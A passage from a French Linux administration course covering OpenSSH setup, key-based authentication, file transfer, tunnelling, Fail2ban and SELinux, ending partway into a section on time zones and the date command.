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Avant-Propos


François-Emmanuel Goffinet est formateur IT et enseignant depuis 2002 en Belgique et en France. Outre Cisco CCNA, il couvre de nombreux domaines des infrastructures informatiques, du réseau à la virtualisation des systèmes, du nuage à la programmation d’infrastructures hétérogènes en ce y compris DevOps, Docker, K8s, chez AWS, GCP ou Azure, etc. avec une forte préférence et un profond respect pour l’Open Source, notamment pour Linux.


On trouvera ici un des résultats d’un projet d’autopublication en mode agile plus large lié au site web linux.goffinet.org.


Ce document fait partie d’un guide de formation en français sur les pratiques sécurisées d’administration du système d’exploitation (OS) GNU/Linux. Le propos invite progressivement à déployer les technologies de virtualisation, à procéder à des tâches d’automation / automatisation via des scripts, à déployer les services traditionnels tels que des services Web ou d’infrastructure, voire plus spécifiques en ToIP / VoIP / UC ou même IaaS.


Le document comprend de nombreux scripts et exemples. Aussi, il traite les sujets sur les distributions basées RHEL (Centos et dérivés) et Debian Stable (Ubuntu et autres dérivés).


Le document vise à atteindre un double objectif :



  	Maintenir de manière durable un cours transversal, réutilisable librement, ouvert et actualisé sur les systèmes fonctionnant sous GNU/Linux.

  	Aligner les contenus et les pratiques décrites dans les programmes des certifications LPI (Linux Profesional Institute), RH (Red Hat) et LFS (Linux Foundation Software), etc.




Orientation pédagogique


Ce document oriente le contenu sur :



  	La virtualisation, les technologies en nuage (cloud)

  	L’automatisation par la rédaction de code (scripts)

  	Les pratiques de sécurité




Public cible du document


Ce document s’adresse à tous les professionnels de l’informatique bien sûr mais aussi des services et de l’industrie pour lesquels l’ère numérique a modifié les pratiques de travail.


Du bon usage du support


Ce support évolue constamment selon l’épreuve du temps et des retours d’expérience. Il est toujours préférable de se référer à la dernière version en ligne sur https://linux.goffinet.org.


Il se lit ou s’expose en face d’une console Linux, dans une machine virtuelle par exemple. Les interfaces graphiques des logiciels seront laissées à l’appréciation des utilisateurs.


Pour obtenir de meilleurs résultats d’apprentissage, notamment en classe de formation, il est conseillé d’utiliser une installation native, avec une ligne de commande ou un shell à disposition.


Enfin, ce document n’étant qu’un support de cours, il sera nécessaire de visiter les références et les liens fournis ainsi que les sites officiels et leurs pages de documentation qui restent dans la plupart des cas librement disponibles.


Distributions de référence


On conseillera quelques distributions Linux de référence avant d’entamer des distributions spécialisées ou spécifiques.



  	
Centos / (RHEL) / Fedora


  	
Ubuntu 20.04 LTS Focal / Debian Stable





Matériel nécessaire


Un ordinateur individuel récent connecté au réseau local (et à l’Internet) est nécessaire. Dans une classe de formation, la meilleure expérience est d’installer une distribution Linux native et d’utiliser des outils de virtualisation tels que libvirt et qemu/KVM pour réaliser des exercices avancés.







Introduction


Ce troisième volume Linux Administration avancée s’aligne sur les objectifs Linux Essentials, LPIC 1, LPIC 2, RHCSA et LFCS/LFCE.


Il peut occuper une activité intellectuelle de 16 à 35 heures, voir plus.


L’objectif opérationnel est d’adopter des pratiques d’administration et de gestion sécurisée d’un système Linux avec les protocoles et les méthodes appropriées de renforcement sécuritaire et de transfert authentifié, confidentiel et surveillé.


Une première partie intitulée “Secure Shell” présente de nombreux aspects du protocole de gestion sécurisée SSH : installation, configuration et connexion OpenSSH, authentification par clé partagée, transfert de fichiers SCP et SFTP, usage sous Windows, transfert de session graphique, transfert de trafic dans des tunnels, Serveurs X2Go, Protection Fail2ban, Renforcement du service SSH, SSH avec SELINUX.


La seconde partie intitulée “Gestion sécurisée” s’intéresse à la synchronisation temporelle et à la localisation d’un système Linux, aux tâches planifiées (cron), à la journal Systemd et Syslog ainsi que des sécurités SELINUX et AppArmor.


La troisième partie intitulée “Routage et pare-feu” s’intéresse à l’activation du routage IP à partir du noyau Linux et au concept de pare-feu Netfilter géré par ufw, firewalld ou les commandes iptables.


Une quatrième partie est entièrement consacrée au sujet de la confidentialité : cryptographie symétrique et asymétrique, infrastructure à clé publique, PGP et TLS sont les sujets développés notamment à partir des outils de la librairie OpenSSL.


Une cinquième et dernière partie intitulée “Audit Linux” termine cet ouvrage : Renforment du système, analyse de trafic, scan de réseau et de vulnérabilités, détection d’intrusion et de rootkits et enfin gestion des logs sont au menu.










I Secure Shell


Objectifs de certification


RHCSA EX200



  	
1. Comprendre et utiliser les outils essentiels
    
      	1.4. Accéder à des systèmes distants à l’aide de ssh

      	1.11. Localiser, lire et utiliser la documentation système, notamment les manuels, informations et fichiers dans /usr/share/doc


    

  

  	
3. Utiliser des systèmes en cours d’exécution
    
      	3.10. Transférer en toute sécurité des fichiers entre des systèmes

    

  

  	
9. Gérer la sécurité
    
      	9.3. Configurer l’authentification basée sur une clé pour SSH

    

  




RHCE EX300



  	
8.- SSH
    
      	8.1. Configurer l’authentification basée sur des clés

      	8.2. Configurer d’autres options décrites dans la documentation

    

  




LPIC 1



  	
Sujet 110 : Securité
    
      	110.3 Sécurisation des données avec le chiffrement

    

  




LPIC 2



  	
Sujet 212 : Sécurité du système
    
      	212.3 Shell sécurisé (SSH) (valeur : 4)

      	212.4 Tâches de sécurité (valeur : 3)

    

  




Introduction


Cette partie intitulée “Secure Shell” présente de nombreux aspects du protocole de gestion sécurisée SSH : installation, configuration et connexion OpenSSH, authentification par clé partagée, transfert de fichiers SCP et SFTP, usage sous Windows, transfert de session graphique, transfert de trafic dans des tunnels, Serveurs X2Go, Protection Fail2ban, Renforcement du service SSH, SSH avec SELINUX.









1. Secure Shell



1. Présentation de SSH


1.1 Présentation rapide de SSH


Secure Shell (SSH) est un protocole qui permet de sécuriser les communications de données entre les ordinateurs connectés au réseau.


Il permet d’assurer la confidentialité, l’intégrité, l’authentification et l’autorisation des données dans des tunnels chiffrés. Il utilise TCP habituellement sur le port 22, mais il peut en utiliser d’autres simultanément.


On utilise aujourd’hui la version SSH-2. La version SSH-1 est à proscrire.


Le protocole SSH comporte autant de fonctionnalités qui rendent obsolètes des protocoles comme Telnet ou FTP et autorise la gestion distante de ressources Linux à travers l’Internet :



  	On peut l’utiliser comme console distante à la manière de Telnet, RSH ou Rlogin.

  	SSH supporte les authentifications centralisées (PAM), les authentifications locales avec mot de passe ou sans échange de mot de passe (par le biais d’échange de clés).

  	On peut transférer des sessions X graphiques dans un tunnel SSH.

  	On peut y transférer des ports et utiliser le service comme proxy ou comme solution VPN, de manière distante ou locale.

  	Les sous-protocoles SCP et SFTP offrent des services de transfert de fichiers.

  	Il s’intègre à des logiciels comme ansible, systemd, x2go, …

  	Et encore d’autres fonctionnalités fines en matière de sécurité ou de facilité.




En terme de cible d’attaque, le port est très sollicité par les robots qui scannent les réseaux publics en quête de configurations faibles, nulles, négligées ou exploitables. Il peut arriver qu’un port SSH exposé publiquement soit l’objet de tentatives de Déni de Service (DoS) ou de connexions Brute Force qui rendent le service inacessible.


Il est conseillé d’auditer, voire de filter les accès au service SSH avec un logiciel comme fail2ban, des sondes IPS/IDS snort ou autre. Un pot de miel tel que Cowrie peut être une arme à manier avec précaution. Des projets comme Modern Honey Network (MHN) peuvent faciliter le déploiement de telles sondes.



2. Installation, configuration et connexion OpenSSH


2.1. Statut du service


Avec les droits de root, vérifier le statut du service httpd :



sudo systemctl status sshd






2.2. Installation et activation du serveur openssh


Si nécessaire, on installera et activera le service sshd :



sudo yum install openssh-server
sudo systemctl enable sshd
sudo systemctl start sshd






2.3. Fichier de configuration du serveur openssh


On peut vérifier le fichier de configuration du serveur :



sudo less /etc/ssh/sshd_config






2.4. Connexion locale au serveur SSH


On peut tenter une connexion locale sur le serveur :



ssh user@127.0.0.1






2.5. Vérification de la version du client openssh


Vérifier la version du client openssh :



ssh -V
OpenSSH_6.6.1p1, OpenSSL 1.0.1e-fips 11 Feb 2013






On peut afficher la bannière du service :



nc localhost 22
SSH-2.0-OpenSSH_6.6.1






2.6. Configuration du pare-feu Firewalld


Configuration du pare-feu Firewalld :


Sous Centos 7, firewalld est activé par défaut. Sans aucune autre configuration, ssh est autorisé pour les interfaces dans la zone “public”.


Avec les droits de root :



sudo firewall-cmd --permanent --add-service=ssh






3. Authentification par clé avec OpenSSH


L’authentification par clé fonctionne grâce à 3 composants :



  	Une clé publique : elle sera exportée sur chaque hôte sur lequel on souhaite pouvoir se connecter.

  	Une clé privée : elle permet de prouver son identité aux serveurs.

  	Une passphrase : optionnelle, elle permet de sécuriser la clé privée (notons la subtilité, passphrase et pas password… donc “phrase de passe” et non pas “mot de passe”).




La sécurité est vraiment accrue car la “passphrase” seule ne sert à rien sans la clé privée, et vice-versa. Cet usage peut se révéler contraignant.


3.1. Création de la paire de clés


La création de la paire de clés se fait avec le binaire openssh ssh-keygen.


Il existe 2 types de clés : RSA et DSA. Chacune pouvant être de longueur différente (les clés inférieures à 1024 bits sont à proscrire).


Pour créer une clé dans sa session avec des paramètres par défaut :



ssh-keygen






Sans paramètres, les options par défaut sont type RSA en 2048 bits.


Le commentaire permet de distinguer les clés, utile quand on a plusieurs clé (notamment une personnelle et une pour le boulot). Ici la distinction se fait sur l’adresse e-mail. Si le commentaire est omis, il sera de la forme user@host.


3.2. Clé privée / clé publique


Deux fichiers ont été créés (dans le dossier ~/.ssh/) :



  	
id_rsa (ou id_dsa dans le cas d’une clé DSA) : contient la clé privée et ne doit pas être dévoilé ou mis à disposition.

  	
id_rsa.pub (ou id_dsa.pub dans le cas d’une clé DSA) : contient la clé publique, c’est elle qui sera mise sur les serveurs dont l’accès est voulu.




3.3. Transmission de la clé publique au serveur


Pour transmettre la clé publique au serveur, il sera nécessaire de disposer d’avance d’un mot de passe pour le compte à authentifier, à moins que d’agir comme utilisateur privilégié. Le principe est d’aller écrire la ou les clés publiques autorisées dans le fichier ~/.ssh/authorized_keys de l’utilisateur cible.


Trois méthodes de transmission de la clé à partir d’une station distante sont proposées ici.


Via une console SSH


Via une console SSH :



cat ~/.ssh/id_rsa.pub | ssh user@ip_machine "cat - >> ~/.ssh/authorized_keys"






Via le protocole de transfert SCP


Via le protocole de transfert SCP :



scp ~/.ssh/id_rsa.pub user@ip_machine:/tmp
ssh user@ip_machine
cat /tmp/id_rsa.pub >> ~/.ssh/authorized_keys
rm /tmp/id_rsa.pub






Via le binaire ssh-copy-id



Via le binaire ssh-copy-id :



ssh-copy-id -i ~/.ssh/id_rsa.pub user@ip_machine






3.4. Générer des clés SSH de manière silencieuse


Emplacement de destination


On décide d’un emplacement de destination :



SSH_DIR="${HOME}/tmp"
mkdir -p ${SSH_DIR}






Paramètres des clés


On décide des paramètres des clés :



SSH_TYPE="rsa"
SSH_SIZE=4096






Génération silencieuse



ssh-keygen -b ${SSH_SIZE} -t ${SSH_TYPE} -f ${SSH_DIR}/ssh-pem-key -q -N "" <<< y 2>&1 >/de\
v/null







  	
-f : designe la destination des clés

  	
-q : mode silencieux

  	
-N "" : passphrase vide

  	
<<< y : répond y à la question “Overwrite (y/n)?”

  	
2>&1 >/dev/null redirige la sortie d’erreur dans la sortie standard dans /dev/null





On constate l’existence de la clé privée tmp/ssh-pem-key et de la clé publique tmp/ssh-pem-key.pub :



ls -l tmp/ssh-pem-key*







-rw-------. 1 francois francois 3243  6 jun 18:10 tmp/ssh-pem-key
-rw-r--r--. 1 francois francois  742  6 jun 18:10 tmp/ssh-pem-key.pub






3.5. Convertir une clé privée PEM (openssh) en clé privée PPK (Putty) et inversément


Installer Putty


Installer Putty :



sudo yum -y install putty || sudo apt -y install putty-tools






Convertir votre fichier .pem en fichier .ppk



Convertir votre fichier .pem en fichier .ppk :



sudo puttygen ${SSH_DIR}/ssh-pem-key -o ${SSH_DIR}/ssh-ppk-key -O private






Convertir votre fichier .ppk en fichier .pem



Convertir votre fichier .ppk en fichier .pem :



sudo puttygen ${SSH_DIR}/ssh-ppk-key -o ${SSH_DIR}/ssh-pem-key2 -O private-openssh






4. Exécution de commande et shell distant


4.1. Le client openssh


Typiquement, on obtient un shell distant en utilisant la commande ssh utilisateur@machine. A la première connexion, on reconnaîtra l’hôte de destination comme étant valide. L’emprunte de sa clé est enregistrée dans le fichier ~/.ssh/known_hosts.



ssh user@127.0.0.1 -p 22






The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is bf:ab:65:84:a3:2f:0b:f9:2c:68:88:c9:a8:24:3f:64.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
user@127.0.0.1's password:
Last login: Tue Sep 27 17:52:26 2016 from 172.16.98.1
$ exit
déconnexion
Connection to 127.0.0.1 closed.






Omission de l’utilisateur de connexion


Si on omet l’utilisateur, c’est le compte courant qui est utilisé pour l’authentification; aussi si on omet le port, c’est TCP22 qui est utilisé par défaut :



ssh localhost






The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is bf:ab:65:84:a3:2f:0b:f9:2c:68:88:c9:a8:24:3f:64.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
user@localhost's password:
Last login: Tue Sep 27 17:54:30 2016 from localhost
$ exit
déconnexion
Connection to localhost closed.






Exécuter une commande à distance


Exécuter une commande à distance :



ssh localhost id






user@localhost's password:
uid=1000(user) gid=1000(user) groupes=1000(user),10(wheel) contexte=unconfined_u:unconfined\
_r:unconfined_t:s0-s0:c0.c1023






Connexion en IPv6


Connexion en IPv6 :



ssh -6 localhost






user@localhost's password:
Last login: Tue Sep 27 18:11:41 2016 from 172.16.98.1






4.2. Options du client openssh


Le logiciel client ssh dispose de beaucoup d’options :



ssh [-1246AaCfgkMNnqsTtVvXxY] [-b adr_assoc] [-c crypt_spec] [-D port] [-e char_echap] [-F \
fich_config] [-i fich_identite] [-L port:host:hostport] [-l nom_login] [-m mac_spec] [-o op\
tion] [-p port] [-R port:host:hostport] [-S ctl] [utilisateur@]hostname [commande]






Options courantes du client openssh


On retiendra des options courantes comme :



  	
-p numero_port pour attaquer un port différent du port 22 par défaut.

  	
-i /emplacement_clé_privéee : pour préciser l’usage d’une clé privée.

  	
-q combiné avec des options -o "StrictHostKeyChecking no", -o "UserKnowHostsFile=/dev/null" et -o "LogLevel=ERROR".

  	
-X, -Y, -MY pour activer le transfert de sessions graphiques sur un serveur X local.

  	
-L port_local:adresse_nom_serveur:port_distant pour transférer un port du serveur sur le client (dans un tube sécurisé SSH). Par exemple, rendre un serveur Web protégé par un pare-feu accessible à travers le port local renseigné du client.

  	
-R port_local:serveur_distant:port_distant pour transférer un port local vers le port d’un serveur. Soit quand un tiers sollicitera un le port du serveur, son trafic sera transféré sur le port local renseigné du client.




5. Transfert de fichiers SCP et SFTP


5.1. Transfert de fichiers SCP


SCP est la transposition de la commande cp à travers SSH, avec des arguments, une source et une destination. On désigne la ressource distante origine ou destination par user@machine:/path. Voici quelques exemple.


Copie vers un serveur distant



scp /dossier/fichier user@machine:~






Copie venant d’un serveur distant



scp user@machine:~/dossier/fichier .






Copie récursive



scp -R /dossier user@machine:~






Précision du numéro de port


Attention: c’est l’option -P numero_port qui permet de définir un port SSH avec les binaires clients scp et sftp.


5.2. Transfert de fichiers SFTP


SFTP s’utilise comme un client FTP.



# sftp user@localhost
user@localhost's password:
Connected to localhost.
sftp> pwd
Remote working directory: /home/user
sftp> quit






5.3. Transfert de fichiers Rsync


rsync (pour remote synchronization ou synchronisation à distance), est un logiciel de synchronisation de fichiers. Il est fréquemment utilisé pour mettre en place des systèmes de sauvegarde distante.


rsync travaille de manière unidirectionnelle c’est-à-dire qu’il synchronise, copie ou actualise les données d’une source (locale ou distante) vers une destination (locale ou distante) en ne transférant que les octets des fichiers qui ont été modifiés.


Il utilise des fonctions de compression.


Il utilise SSH par défaut pour les synchronisations distantes. Il est aussi utile pour des copies locales.


Installtion du client Rsync



sudo yum -y install rsync






Client rsync



rsync source/ destination/
rsync -az source/ login@serveur.org:/destination/
rsync -e ssh -avz --delete-after /home/source user@ip_du_serveur:/dossier/destination/
rsync -e ssh -avzn --delete-after /home/mondossier_source user@ip_du_serveur:/dossier/desti\
nation/






Serveur rsync



cat /etc/rsyncd.conf






# /etc/rsyncd: configuration file for rsync daemon mode

# See rsyncd.conf man page for more options.

# configuration example:

# uid = nobody
# gid = nobody
# use chroot = yes
# max connections = 4
# pid file = /var/run/rsyncd.pid
# exclude = lost+found/
# transfer logging = yes
# timeout = 900
# ignore nonreadable = yes
# dont compress   = *.gz *.tgz *.zip *.z *.Z *.rpm *.deb *.bz2

# [ftp]
#        path = /home/ftp
#        comment = ftp export area







# mkdir /home/ftp
# systemctl start rsyncd
# systemctl enable rsyncd







rsync -avpro /home/ftp serveur.org::ftp






Source : https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Automated_Backup


5.4. Montages SSH


Fuse.


6. Configuration du service OpenSSH


6.1. Fichier de configuration


Voici un fichier par défaut /etc/ssh/sshd_config en Debian 8 :



# Package generated configuration file
# See the sshd_config(5) manpage for details

# What ports, IPs and protocols we listen for
Port 22
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key
HostKey /etc/ssh/ssh_host_ed25519_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation yes

# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 1024

# Logging
SyslogFacility AUTH
LogLevel INFO

# Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes yes

RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile	%h/.ssh/authorized_keys

# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
#IgnoreUserKnownHosts yes

# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Change to no to disable tunnelled clear text passwords
#PasswordAuthentication yes

# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes

X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
#UseLogin no

#MaxStartups 10:30:60
#Banner /etc/issue.net

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

Subsystem sftp /usr/lib/openssh/sftp-server

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM yes







  Attention, chaque distribution dispose de ses paramètres par défaut notamment sur les authentifications.




6.2. Régénération des clés du serveur


Les clés du serveur lui-même (appelé host) peuvent être régénérées à condition qu’elles soient effacées. En Debian 8, il sera nécessaire de reconfigurer le paquet avant de redémarrer le service contrairement au comportement RHEL7/Centos7.


En Debian 8 :



rm /etc/ssh/ssh_host_*
dpkg-reconfigure openssh-server
systemctl restart ssh
systemctl status ssh






En RHEL7/Centos7 :



rm /etc/ssh/ssh_host_*
systemctl restart ssh
systemctl status ssh






7. Usage sous Windows


7.1. Utilitaire Putty



  https://www.chiark.greenend.org.uk/~sgtatham/putty/download.html



7.2. Utilitaire CyberDuck



  https://cyberduck.io/



7.3. Utilitaire WinSCP



  https://winscp.net/eng/docs/lang:fr



7.4. Installation de OpenSSH pour Windows Server 2019 et Windows 10



  Installation de OpenSSH pour Windows Server 2019 et Windows 10



8. Transfert de session graphique avec SSH


8.1. Serveur X



ssh -X user@ip_machine







ssh -MY user@ip_machine






8.2. Serveur X Xming



  https://sourceforge.net/projects/xming/



9. Montage de tunnel




  https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Proxies_and_Jump_Hosts



9.1. Transfert de port localement


Exemple :



ssh -L 4444:127.0.0.1:80 user@machine






9.2. Proxy Socks



ssh -ND 3128 user@machine






Ensuite configurer le proxy sur 127.0.0.1:3128


9.3. Transfert distant distant et autossh pour la persistence


…


10. Serveur X2Go



Solution de bureau distant.


10.1. Installation du serveur



yum install x2goserver







yum groupinstall “Xfce”
yum groupinstall “MATE Desktop”







firewall-cmd –permanent –zone=public –add-service=ssh
firewall-cmd –reload






10.2. Installation du client


Pour Linux, Windows ou Mac OS X : https://wiki.x2go.org/doku.php


11. Fail2ban


Site officiel : https://www.fail2ban.org/wiki/index.php/Main_Page


Fail2ban est un service qui surveille les logs de comportement malveillant (tentative de connexions, DDoS, etc.) et qui inscrit dynamiquement des règles de bannissement dans iptables. Fail2ban est compatible avec un grand nombre de services (apache, sshd, asterisk, …).


11.1. Installation de fail2ban


Installer fail2ban


Installer epel-relase et puis fail2ban :



sudo yum install -y epel-release
sudo yum install -y fail2ban






Activation du service :



sudo systemctl enable fail2ban






Tous les fichiers de configuration sont situés dans /etc/fail2ban. Les valeurs par défaut sont situées dans un fichier jail.conf. Le fichier jail.local aura la précédence sur le fichier jail.conf, dans l’ordre.



  	/etc/fail2ban/jail.conf

  	
/etc/fail2ban/jail.d/*.conf par ordre alphabétique

  	/etc/fail2ban/jail.local

  	
/etc/fail2ban/jail.d/*.local par ordre alphabétique




11.2. Activation des règles


Créer un fichier /etc/fail2ban/jail.local



Créer un fichier /etc/fail2ban/jail.local avec ce contenu :



[DEFAULT]
# Ban hosts for one hour:
bantime = 3600

# Override /etc/fail2ban/jail.d/00-firewalld.conf:
banaction = iptables-multiport

[sshd]
enabled = true






Activer et démarrer fail2ban


Activer et démarrer fail2ban :



systemctl start fail2ban
systemctl status fail2ban






● fail2ban.service - Fail2Ban Service
   Loaded: loaded (/usr/lib/systemd/system/fail2ban.service; disabled; vendor preset: disab\
led)
   Active: active (running) since mar 2016-09-27 21:39:13 CEST; 6s ago
     Docs: man:fail2ban(1)
  Process: 64203 ExecStart=/usr/bin/fail2ban-client -x start (code=exited, status=0/SUCCESS)
 Main PID: 64229 (fail2ban-server)
   CGroup: /system.slice/fail2ban.service
           └─64229 /usr/bin/python2 -s /usr/bin/fail2ban-server -s /var/run/fail2ban/fail2b\
an.sock -p /var/run/fail2ban/fail2ban.pid -x -b

sep 27 21:39:12 localhost.localdomain systemd[1]: Starting Fail2Ban Service...
sep 27 21:39:12 localhost.localdomain fail2ban-client[64203]: 2016-09-27 21:39:12,358 fail2\
ban.server         [64221]: INFO    Starting Fail2ban v0.9.3
sep 27 21:39:12 localhost.localdomain fail2ban-client[64203]: 2016-09-27 21:39:12,358 fail2\
ban.server         [64221]: INFO    Starting in daemon mode
sep 27 21:39:13 localhost.localdomain systemd[1]: Started Fail2Ban Service.






11.3. Surveiller Fail2ban


Surveiller Fail2ban :



fail2ban-client status






Status
|- Number of jail:	1
`- Jail list:	sshd






Statut de la prison sshd



fail2ban-client status sshd






Status for the jail: sshd
|- Filter
|  |- Currently failed:	0
|  |- Total failed:	0
|  `- File list:	/var/log/secure
`- Actions
   |- Currently banned:	0
   |- Total banned:	0
   `- Banned IP list:






Journalisation de fail2ban



tail -F /var/log/fail2ban.log






11.4. Aller plus loin avec fail2ban



  	Lire le fichier /etc/fail2ban/jail.conf et s’en inspirer pour personnaliser le module ssh

  	Le dossier /etc/fail2ban/filter.d/ donne une idée des applications supportées :





ls /etc/fail2ban/filter.d/






3proxy.conf                apache-shellshock.conf  dropbear.conf       horde.conf          \
  openwebmail.conf    qmail.conf            squirrelmail.conf
apache-auth.conf           assp.conf               drupal-auth.conf    ignorecommands      \
  oracleims.conf      recidive.conf         sshd.conf
apache-badbots.conf        asterisk.conf           ejabberd-auth.conf  kerio.conf          \
  pam-generic.conf    roundcube-auth.conf   sshd-ddos.conf
apache-botsearch.conf      botsearch-common.conf   exim-common.conf    lighttpd-auth.conf  \
  perdition.conf      selinux-common.conf   stunnel.conf
apache-common.conf         common.conf             exim.conf           monit.conf          \
  php-url-fopen.conf  selinux-ssh.conf      suhosin.conf
apache-fakegooglebot.conf  counter-strike.conf     exim-spam.conf      mysqld-auth.conf    \
  portsentry.conf     sendmail-auth.conf    tine20.conf
apache-modsecurity.conf    courier-auth.conf       freeswitch.conf     nagios.conf         \
  postfix.conf        sendmail-reject.conf  uwimap-auth.conf
apache-nohome.conf         courier-smtp.conf       froxlor-auth.conf   named-refused.conf  \
  postfix-rbl.conf    sieve.conf            vsftpd.conf
apache-noscript.conf       cyrus-imap.conf         groupoffice.conf    nginx-botsearch.conf\
  postfix-sasl.conf   sogo-auth.conf        webmin-auth.conf
apache-overflows.conf      directadmin.conf        gssftpd.conf        nginx-http-auth.conf\
  proftpd.conf        solid-pop3d.conf      wuftpd.conf
apache-pass.conf           dovecot.conf            guacamole.conf      nsd.conf            \
  pure-ftpd.conf      squid.conf            xinetd-fail.conf






12. Renforcement du service SSH



  	https://docs.hardentheworld.org/Applications/OpenSSH/

  	https://wp.kjro.se/2013/09/06/hardening-your-ssh-server-opensshd_config/

  	https://www.cyberciti.biz/tips/linux-unix-bsd-openssh-server-best-practices.html

  	https://linux-audit.com/audit-and-harden-your-ssh-configuration/




13. Jouer avec SELINUX et SSH


13.1. Changer le contexte du port SSH


Contexte du port SSH :



semanage port -l | grep ssh






ssh_port_t                     tcp      22






Changer ou ajouter le port d’écoute dans le fichier /etc/ssh/sshd_config et adapter le contexte selinux :



semanage port -a -t ssh_port_t -p tcp 2222






Vérification du contexte SSH :



semanage port -l | grep ssh






ssh_port_t                     tcp      2222, 22






13.2. Booléens SSH



getsebool -a | grep ssh






fenced_can_ssh --> off
selinuxuser_use_ssh_chroot --> off
sftpd_write_ssh_home --> off
ssh_chroot_rw_homedirs --> off
ssh_keysign --> off
ssh_sysadm_login --> off







# setsebool -P sftpd_write_ssh_home on







yum install -y setroubleshoot-server
semanage boolean -m --on ftp_home_dir







semanage boolean -l | grep ssh






ssh_chroot_rw_homedirs         (fermé,fermé)  Allow ssh to chroot rw homedirs
sftpd_write_ssh_home           (fermé,fermé)  Allow sftpd to write ssh home
ssh_keysign                    (fermé,fermé)  Allow ssh to keysign
fenced_can_ssh                 (fermé,fermé)  Allow fenced to can ssh
selinuxuser_use_ssh_chroot     (fermé,fermé)  Allow selinuxuser to use ssh chroot
ssh_sysadm_login               (fermé,fermé)  Allow ssh to sysadm login






14. Exercices



  	Créer une paire de clé DSA et la transmettre au serveur.

  	Exécuter une session X avec Firefox à partir du serveur sur votre PC

  	Transferts de ports : se connecter à l’interface LAN du routeur

  	Essais Clients/serveurs X2go

  	Renforcement du service en modifiant la configuration

  	Activation de la compression

  	Intégration iptables, fail2ban

  	Découverte du logiciel d’automation Ansible




15. notes


Références



  	https://en.wikibooks.org/wiki/OpenSSH

  	https://en.wikipedia.org/wiki/Secure_Shell

  	https://formation-debian.via.ecp.fr/ssh.html

  	Wiki Fedora SSH : Authentification par clé

  	Wiki Fedora SSH : X11Fowarding

  	Wiki Fedora SSHFS : montage de systèmes de fichiers via SSH

  	Wiki Fedora  SSH: Simplifier une connexion passant par un Proxy

  	Wiki Fedora SSH : Se protéger des attaques avec fail2ban




Intégrer google authenticator à PAM et SSH



  	https://arfore.wordpress.com/2016/08/28/configure-google-authenticator-on-centos-7/

  	https://thefallenphoenix.net/post/ssh-multi-factor-centos-7/
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Introduction


Cette partie intitulée “Gestion sécurisée” s’intéresse à la synchronisation temporelle et à la localisation d’un système Linux, aux tâches plannifiées (at, cron et systemd), à la journalisation Systemd et Syslog ainsi qu’aux mécanismes de sécurité SELINUX et AppArmor.


La localisation géographique et la synchronisation des horloges est indispensable au bon fonctionnement des systèmes informatiques (logs, authentifications, chiffrement, forensic, …). Les logiciels Linux utiles sont date, timedatectl, ntpdate, chronyc. Le démon chronyd permet d’assurer la synchronisation temporelle auprès de serveurs de temps (NTP).


at, cron et systemd sont les programme Linux natifs qui permettent de planifier des tâches.


Les logs ou les fichiers de journaux du système Linux sont collectés par le démon syslog. Systemd nous offre une capacité de journalisation ponctuelle issue des fichiers de journaux. L’horodatage des journaux et leur format est d’une importance cruciale pour un traitement ultérieur. Le système Linux étant particulièrement loquace, c’est en consultant ces journaux qu’on identifiera des pannes et que leur résolution sera d’autant plus aisée.


Le Mandatory access control (MAC) ou contrôle d’accès obligatoire est une méthode de gestion des droits des utilisateurs pour l’usage de systèmes d’information. SElinux et AppArmor sont des logiciels qui implémentent la sécurité MAC sous Linux.


On peut réaliser des sauvegardes des disques, des systèmes de fichiers ou d’emplacements précis d’un système Linux de différentes manières. Les sauvegardes émanent toujours d’une stratégie et les restorations devraient être régulièrement validées. On trouvera ici quelques pistes pour les tâches de sauvegarde.









2. Localisation géographique et synchronisation temporelle


La localisation géographique et la synchronisation des horloges est indispensable au bon fonctionnement des systèmes informatiques (logs, authentifications, chiffrement, forensic, …). Les logiciels Linux utiles sont date, timedatectl, ntpdate, chronyc. Le démon chronyd permet d’assurer la synchronisation temporelle auprès de serveurs de temps (NTP).


1. Localisation


Sous Debian/Ubuntu :



sudo dpkg-reconfigure tzdata






Sous RHEL/Centos, le fichier /etc/localtime est un lien symbolique vers un des fichiers situés dans /usr/share/zoneinfo/ :



ls -l /etc/localtime






2. Date courante : commande date



La commande date permet d’afficher, initialiser et de convertir la date et l’heure du système alors que la commande hwclock affiche la date et l’heure “matérielle”.


La commande date prend des options et accepte un format d’affichage avec différents masques selon cette syntaxe :



date [OPTION]... [+FORMAT]






3. Options de la commande date



date







dim jun  6 11:25:06 CEST 2021






Afficher la date et l’heure au format ISO 8601 :



